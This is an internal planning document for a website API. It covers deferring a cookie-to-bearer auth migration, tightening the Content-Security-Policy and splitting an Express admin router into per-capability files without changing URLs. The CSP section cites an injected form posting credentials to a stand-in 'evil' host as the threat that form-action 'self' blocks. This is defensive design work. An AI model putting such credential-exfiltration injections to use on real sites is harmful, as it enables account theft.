docs/website/API_V2_PLAN.md

Website API — router domain split + CSP hardening

Status: planning · Target repo: website/ · Docs owner: this file + BACKEND_DESIGN.md

This file replaces the earlier "API v2" plan (auth merge → CSP → domain split, with a parallel /api/v2 mount and an /api/mobile facade). Three of those four pieces are not being built: the auth merge and the mobile facade are deferred with their reasoning recorded below, and the parallel-version scaffold in API_V2_SKELETON.md is superseded. The filename is kept so existing links resolve. What remains is genuinely useful work:

1. CSP hardening — small, independent, ships on its own cadence.
2. The domain split — admin.routes.js (1552 lines, 110 routes) broken into one router file per business capability, in place, with every URL unchanged. This is the actual driver.

---

Why the auth merge is out

The original plan replaced httpOnly session cookies with a bearer JWT + rotating refresh token for every client, so web and mobile would share one session model. Reasons that no longer hold up:

1. The current model is the more secure one. httpOnly + SameSite cookies are unreadable from JS and carry CSRF protection by default. Every migration target is a sideways or backwards move:
   • Refresh token in localStorage → any XSS becomes persistent full account takeover, not a bounded access-token window. A short access TTL does not help; the attacker mints new pairs.
   • Refresh token in an httpOnly cookie scoped to the refresh endpoint → safe, but that is cookies with extra steps. It concedes the premise.
2. "One session model everywhere" is already true where it matters. auth/session.service.js unifies cookie and bearer into a single session, and auth/token.js already extracts from either Cookie or Authorization: Bearer. That abstraction is written, working, and paid for. The merge would move complexity out of extractToken and into the SPA.
3. The cookie codepath survives the merge anyway. The SSO / email-connect redirect flow must keep its short-lived httpOnly tx / PKCE-verifier / pending-TOTP cookies — the browser leaves for the IdP and returns with no JS context. So the merge never actually delivered "cookies are gone."
4. It carried the plan's most bug-prone work as a dependency. The admin SSE rewrite (EventSource → hand-rolled fetch + ReadableStream + SSE frame parser + reconnect/backoff + refresh-on-401) existed only to serve the bearer model. Without the merge, the admin stream stays on EventSource with withCredentials and that code is never written.
5. It is a contract change with no user-visible payoff, competing for the same review attention as the domain split, which is the thing that actually hurts today.

Dropped with it

• v2 bearer auth routes (/api/v2/auth/{login,refresh,logout,login/totp}).
• Deletion of the setAuthCookie / clearAuthCookie path.
• rg_trust cookie → X-Trust-Token header migration for web (the header stays available for native clients via extractTrustToken, unchanged).
• api/client.js bearer + silent-refresh rewrite.
• lib/useShardFeed.js admin-stream fetch rewrite. The admin SSE stream stays as-is.

Kept from it

• CSP hardening — now its own phase (below). It was justified as a compensating control for a JS-held token; it is worth doing regardless, just no longer urgent.
• The public/admin SSE allowlist split — unchanged security boundary, unrelated to session model.
• The tx-cookie carve-out reasoning — recorded here so a future merge attempt doesn't rediscover it.

---

Deferred: the auth merge

Not cancelled — parked behind trigger conditions. Revisit if any of these become true:

Trigger	Why it changes the answer
The API becomes genuinely cross-origin (separate API host)	SameSite cookies stop being the easy path; bearer becomes the natural model.
Third-party or OAuth clients are introduced	Cookies don't serve clients you don't control.
Mobile and web session behavior diverge enough to cause real bugs	The unification argument gets teeth it currently lacks.

If it is ever revived, two specs the original plan lacked must be written first:

• Refresh-token reuse detection. Rotation is only useful with it: replay of an already-consumed refresh must revoke the entire token family, not just fail the one request.
• Rollback procedure. Once web clients have discarded their cookies, a bad deploy locks everyone out. Needs a documented path back.

---

Why there is no /api/v2

The domain split reorganizes router files. It does not need to move a single URL — because the URL surface is already grouped by capability. Inventory taken from the live Express stack — 196 /api/v1 routes, plus three outside it (GET /api/health, GET /api/docs.json, GET /.well-known/assetlinks.json) and 2 on the internal port. Full machine-readable list: api-route-inventory.json.

Group	Routes	Second segment → capability
/admin	110	shard 16 · moderation 15 · users 15 · wiki 14 · posts 9 · pages 7 · account 6 · email 6 · uo-link 5 · auth 4 · invites 3 · bot-activity 2 · discord-bot 2 · settings 2 · activity 1 · dashboard 1 · site-mode 1 · uploads 1
/auth	42	me 23 · mobile 5 · sso 4 · password 3 · invite 2 · login 2 · logout 1 · providers 1 · register 1
/public	24	shard 12 · wiki 4 · pages 2 · posts 2 · contact 1 · settings 1 · status 1 · version 1
/player	20	account 8 · shard 8 · appeals 4

Every capability already owns a URL prefix, so each new router file mounts at the prefix it already owns and the emitted paths are byte-identical. No URL change means no contract change, and no contract change means no reason to mount a parallel version.

Consequences of doing it in place:

• No /api/v2, no dual mount, no route-by-route migration, no v1-usage telemetry project, and no v1-retirement sequence.
• BASE = /api/v1 in client/src/api/client.js never changes. The Discord bot's SITE_PUBLIC_URL never changes. The Android app is untouched.
• API_V2_SKELETON.md (the router/v2/ scaffold) is superseded and not scheduled. It is kept as the concrete recipe if a real contract break ever forces a versioned API.

Tripwire: if any endpoint turns out to need a new URL, that is a contract change, not a refactor. List it explicitly, and reopen the versioning question before writing the code — do not smuggle a URL change into a "mechanical" PR.

---

Deferred: the /api/mobile facade and the app-version floor

The earlier plan's Phase 0 stood up a version-agnostic /api/mobile namespace and migrated the Android app onto it, plus an app-version header and a server-side min-version floor.

Why it was proposed: the app hardcodes 69 distinct api/v1/… paths (data/api/*.kt, core/net/ShardStreamClient.kt, core/net/HostSelectionInterceptor.kt, core/auth/sso/SsoAuthManager.kt), has no version negotiation and no force-update, and installs in the wild cannot be forced forward. Under a parallel-/api/v2 plan that made the app the load-bearing coupling: v1 could not be retired until the fleet aged out.

Why it is deferred: with the split done in place, no URL moves and nothing is being deleted — so there is no fleet to sunset and no coupling to break. A facade would add ~70 permanently maintained delegate routes plus a contract-test suite to solve a problem that does not currently exist. The version floor was scoped to sunsetting the pre-facade fleet, so it goes with it.

If it is ever revived (the trigger is the mobile contract genuinely needing to diverge from web — different response shapes, a mobile-only aggregation endpoint, a real breaking change):

• Start with the alias mount, not a delegate layer: apiRouter.use('/mobile', v1Router) gives the app a stable, version-agnostic namespace with identical wiring, identical middleware and zero per-route maintenance. Build hand-written delegates only for the routes that actually diverge.
• A facade is a security surface, not a convenience alias. Any hand-written route must carry the same middleware chain as the route it mirrors (requireAuth, staffOnly/adminOnly, validators, the public/admin SSE allowlist split). A re-exposed admin route missing adminOnly is privilege escalation.
• It needs contract tests. The moment the app pins a namespace, its response shapes are a committed contract; an internal refactor that changes a shape must fail a test before it ships to installed apps.
• The mobile SSE stream stays anonymous under whatever path it gets — the app sends no Authorization header.

---

Phase 1 — CSP hardening (independent)

Previously bundled with the auth merge as a compensating control for a JS-held token. With no token in JS, this is defense in depth on its own merits — cheap, worth doing, blocking nothing. It has no dependency on the domain split and can ship at any time.

Sequencing fix from the original plan: the old version both "ships with the auth merge" and called for a one-release report-only soak. Those contradict. Correct order is report-only first, observe one release, then enforce — now trivially satisfiable since nothing waits on it.

The app already ships a tuned policy (server/src/app.js). Two directives are load-bearing and are already correct — the job is to keep them that way:

• script-src 'self' — no 'unsafe-inline' / 'unsafe-eval'. Primary defense.
• connect-src 'self' — the exfiltration channel. Don't widen it unless the API genuinely becomes cross-origin (which would also reopen the auth-merge question — see the trigger table).

style-src 'unsafe-inline' stays — it permits inline styling, not script execution, and React's pervasive style={{…}} attributes can't be nonce'd. Not a meaningful hole. The /api/docs route keeps its deliberately looser policy (swagger-ui injects an inline bootstrap script); that carve-out is scoped to the one route and stays scoped.

Target enforced policy:

default-src 'self';
script-src 'self';
connect-src 'self';
img-src 'self' data: https:;
style-src 'self' 'unsafe-inline';          /* + fonts.googleapis.com only until fonts are self-hosted */
font-src 'self';                            /* + fonts.gstatic.com only until fonts are self-hosted */
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';

Delta vs. the policy in server/src/app.js today — the whole change is two directives:

• Add form-action 'self' (currently absent) — blocks an injected <form action="https://evil"> from POSTing credentials off-origin, an exfil path connect-src doesn't cover.
• Tighten frame-ancestors 'self' → 'none' — nothing legitimately frames the site.
• Unchanged: default-src, script-src, connect-src, object-src 'none', base-uri 'self', and img-src … https: (external BRAND_* logo/hero and <img> in sanitized wiki/news bodies rely on https:).

Rollout: ship via Content-Security-Policy-Report-Only with report-to for one release, watch for violations, then flip to enforce.

Before trusting script-src 'self': Vite's build injects an inline modulepreload-polyfill <script> into dist/index.html, which that directive blocks (harmless, but throws a violation). Confirm it's disabled or set build.modulepreload.polyfill = false in the Vite config. (The renderIndexHtml branding injection adds only <meta>/<link> tags — no inline script, no nonce needed.)

Tracked follow-ups (own PRs):

• Self-host the Cinzel font → drop fonts.googleapis.com from style-src and fonts.gstatic.com from font-src, removing two third-party origins from the trust surface.
• Trusted Types — require-trusted-types-for 'script' + a trusted-types policy, report-only first. Audit dangerouslySetInnerHTML + the sanitizeHtml render path first.

---

Phase 2 — The domain split

This is the reason the plan exists. Everything else is supporting work.

Rule: one router file = one business capability; the URL names the domain; related endpoints live together regardless of HTTP method; no generic admin.routes.js catch-all. Controllers are already domain-split — this re-wires routes, not logic.

Invariant: each capability router mounts at the prefix it already owns, so the emitted URL set does not change. Proved per PR by the route manifest (§ PR 0).

Target tree — derived from the inventory above, inside router/v1/ (no v2/ directory):

router/v1/
  admin/
    index.js            # mounts the capability routers below under /admin, keeps the
                        # shared `noindex, isLoggedIn, staffOnly` gate in one place
    users.router.js         account.router.js       invites.router.js
    authProviders.router.js moderation.router.js    botActivity.router.js
    posts.router.js         pages.router.js         wiki.router.js
    uploads.router.js       shard.router.js         uoLink.router.js
    email.router.js         discordBot.router.js    settings.router.js
    dashboard.router.js     # + the /activity and /site-mode singletons
  auth/
    login.router.js  register.router.js  password.router.js  invite.router.js
    sso.router.js    mobile.router.js    me.routes.js (already split, 23 routes)
  public/
    news.router.js (posts) pages.router.js  wiki.router.js  shard.router.js
    site.router.js         # status, settings, version, contact
  player/
    account.router.js  shard.router.js  appeals.router.js
  internal/            (unchanged — stays on the unpublished port, never mounted publicly)

Steps:

1. Land PR 0 (route manifest) first — the mechanical proof that later PRs move no URL.
2. Carve admin.routes.js into the per-capability files above, each requiring its already-existing controller. admin/index.js keeps the shared gate (noindex, isLoggedIn, staffOnly) and mounts each capability router at its existing prefix; the adminOnly / modAccess gates move with the routes that use them.
3. Split public.routes.js, player.routes.js, and the remaining auth.routes.js groups the same way. auth/me.routes.js is already a separate file and stays.
4. Keep /internal off the public listener exactly as today (separate internalApp.js port).
5. Move each route's #swagger.* annotations with the route, then regenerate (cd website/server && npm run swagger).
6. Update BACKEND_DESIGN.md §2 (folder structure) and §4 (API contract — it names admin.routes.js → admin.controller.js and friends) as routers move, plus PROJECT_TREE.md.

Because the auth model is untouched and the URLs are frozen, each PR is a pure mechanical refactor with a green test suite and a zero-diff route manifest as its acceptance criteria — which is what makes grouped PRs actually reviewable.

PR 0 — the route manifest (prerequisite of the first split PR) — landed

Status: shipped. server/scripts/routeManifest.js + npm run routes:manifest, server/routes.manifest.json (199 public + 2 internal), server/routes.guards.json, server/test/routeManifest.test.js, and a routes:manifest -- --check step in .gitea/workflows/pr-checks.yml. No router file moved. The generator reproduced api-route-inventory.json byte-for-byte on first run, so the freeze is in effect and the committed baseline is confirmed accurate rather than merely asserted.

Two deviations from the design below, both deliberate:

• The unauthenticated-status snapshot was tried and dropped, exactly as this section allowed. Firing unauthenticated GETs at every manifest path against the dead-port mariadb pool the tests use does not fail fast — the pool sits on its acquire timeout, and a partial sweep had not finished after two minutes. A flaky two-minute gate is worse than none. What replaced it is cheap and deterministic: the test suite asserts from the introspected stack that every /api/v1/admin/** and /api/v1/player/** route still carries requireAuth.
• routes.guards.json is committed and staleness-checked, though a diff in it is explicitly not a contract change. Left ungenerated it would rot into a misleading review aid within a release. The gate is on freshness; the meaning of a guards diff is still "read this", not "justify this". The generator drops app-level plumbing (helmet, morgan, the JSON parser, the bot guard) since it applies uniformly to all 199 routes and would bury the per-route gates.

"Every URL is unchanged" must be proved by a diff, not asserted in review. PR 0 lands the tool that proves it, with no router file moved.

• Generator: server/scripts/routeManifest.js, wired as npm run routes:manifest. It requires src/app.js (which exports the app and neither listens nor connects to the DB — server.js owns those), walks app._router.stack recursively through mounted routers, reconstructs each full path from the layer regexps, and writes a sorted array of { "method": "GET", "path": "/api/v1/admin/users/:id" } to server/routes.manifest.json. internalApp.js is walked into a separate internal section so the unpublished port is inventoried without being confused for public surface.
• Scope it to the API surface, or it won't be deterministic. Three mounts are filesystem conditional: the SPA catch-all GET * (only when client/dist/index.html exists), the /brand static mount, and /api/docs* (only when swagger-output.json is present — it is committed, so it is stable). The manifest keeps only /api/**, /.well-known/**, and the internal app's routes, so it does not change depending on whether CI built the client. Static mounts are not API contract.
• The baseline already exists: api-route-inventory.json in this directory is today's frozen surface — 199 API routes (110 of them /api/v1/admin) plus 2 internal. PR 0's generator must reproduce this file byte-for-byte; that is PR 0's own acceptance test, and it means the freeze is already in effect before the first router moves.
• Runtime introspection, not source parsing. It is authoritative about mounts, and the route paths in admin.routes.js sit on the line after adminRouter.get(, which defeats naive greps.
• Not swagger-output.json. That is annotation-derived (only annotated routes appear) and churns for unrelated reasons; it documents intent, the manifest records reality.
• Frozen key: method + path only. That is exactly the contract being preserved. Handler names are useless as a guard check here — requireRole(...) returns an anonymous arrow, and router-level gates like adminRouter.use(noindex, isLoggedIn, staffOnly) never appear in a route's own stack.
• Guard coverage, separately. The generator also emits a non-gated review aid: per route, the handler count plus any named middleware collected along the mount chain. If a stable behavioral check proves cheap, prefer it — a test that fires an unauthenticated request at every manifest path and snapshots the status code catches a dropped adminOnly (403 → 200) in a way names cannot. Try it in PR 0; if DB-touching public routes make it slow or noisy against the dead-port pool the tests use, drop it rather than ship a flaky gate.
• CI: .gitea/workflows/pr-checks.yml runs npm run routes:manifest and git diff --exit-code server/routes.manifest.json. A PR that moves a URL fails unless it deliberately commits the new manifest — which puts the URL change in front of a reviewer instead of letting it pass silently.
• Published copy: docs/website/api-route-inventory.json mirrors server/routes.manifest.json and is refreshed in each split PR's mandatory docs edit. The markdown table above is orientation for a human reader; the manifest is the authoritative freeze.

---

Sequencing & PR breakdown

CSP and the split are independent; the only hard ordering is PR 0 before the first split PR.

Resequenced during implementation: PR 0 ships first, before the CSP pair. The CSP report-only PR has to stand up a violation collector (POST /api/csp-report) for report-to to point at — which is a new URL under /api/**. Landing it first would mean PR 0's generator emitting 200 routes against a 199-route committed baseline, so PR 0 could no longer prove itself by reproducing api-route-inventory.json byte-for-byte. With PR 0 first, the collector shows up as a reviewed, deliberate +1 in the manifest — which is exactly the mechanism working as designed.

1. PR 0 — route manifest. Generator + CI check + committed baseline of today's surface. No routers moved. ✅ landed
2. PR — CSP report-only. Tightened policy behind Content-Security-Policy-Report-Only + report-to, plus the report collector (manifest +1).
3. PR — CSP enforce. One release later, assuming a clean violation report.
4. PR 1 — admin: users, account, invites, auth (providers).
5. PR 2 — admin: moderation, bot-activity, activity.
6. PR 3 — admin (content): posts, pages, wiki, uploads.
7. PR 4 — admin (ops/config): shard, uo-link, email, discord-bot, settings, site-mode, dashboard.
8. PR 5 — public/* + player/* (and the residual auth/* grouping).

Each PR: zero-line diff in routes.manifest.json, server tests green (cd website/server && npm test), Swagger regenerated, matching docs/ edit, Conventional Commit, AI-disclosure trailer, branch from a freshly-pulled main.

---

Cross-component blast radius

Three independent clients consume the site's HTTP/SSE API, two of them in separate repos on separate release cadences. With the auth merge and the version bump both gone, the blast radius is empty — no client's URLs or authentication change at all.

Consumer	Repo (cadence)	Pinning	Impact under this plan
Browser SPA	website/client (lockstep)	BASE = /api/v1 in client/src/api/client.js	None. Same URLs, same cookie session.
Android app	android-app (app-store cadence, un-updatable installs in the wild)	69 hardcoded api/v1/… paths; SSE path in ShardStreamClient.kt; SSO in SsoAuthManager.kt	None. No repoint, no release required.
Discord bot	website/bot (separate deploy, env-configured)	SITE_PUBLIC_URL env → /api/v1/public	None. Anonymous public reads on unchanged paths.

Standing constraints, unchanged:

• The public SSE stream stays anonymous. Consumed by logged-out browser visitors and the Android ShardStreamClient, neither of which sends an Authorization header. Adding requireAuth blacks out the public live boards on web and mobile. The single most likely regression in a careless refactor is reflexively wrapping both shard streams in auth.
• The admin SSE stream keeps its current cookie-based gating (isLoggedIn, EventSource + withCredentials) — the rewrite that would have changed this went out with the auth merge.
• The public/admin allowlist split is a security boundary, not an implementation detail. Preserve it verbatim in utils/shardBroadcast.js / utils/shardIngest.js as routes move.
• SSO / email-connect transaction cookies are load-bearing for web and native. The Android SSO flow opens a Custom Tab to the website's /auth/…/sso/start and rides the same server-side redirect transaction and the same tx cookies. Nothing in this plan touches them; don't let a future "cookies go away" push delete them.
• link/ is out of scope. The sidecar contract (uoLinkConfig, utils/uoLinkClient.js, utils/shardIngest.js, X-UOLink-Version) is a separate versioning axis. PROTOCOL_VERSION does not bump for this work.

---

Appendix: mapping from the previous plan

Previous	Now
Phase 0 — /api/mobile facade + app-version floor	Deferred. See § Deferred: the /api/mobile facade
Phase 1 — auth merge	Removed. See § Why the auth merge is out and § Deferred: the auth merge
Phase 1b — CSP hardening (shipped with the auth merge)	Phase 1, standalone; report-only-first ordering fixed
Phase 2 — domain split under router/v2/	Phase 2, in place under router/v1/; now the primary driver
PR 1 — /api/v2 scaffold (API_V2_SKELETON.md)	Superseded, kept as the recipe if a versioned API is ever forced
PR final — retire v1	Not applicable — v1 is never replaced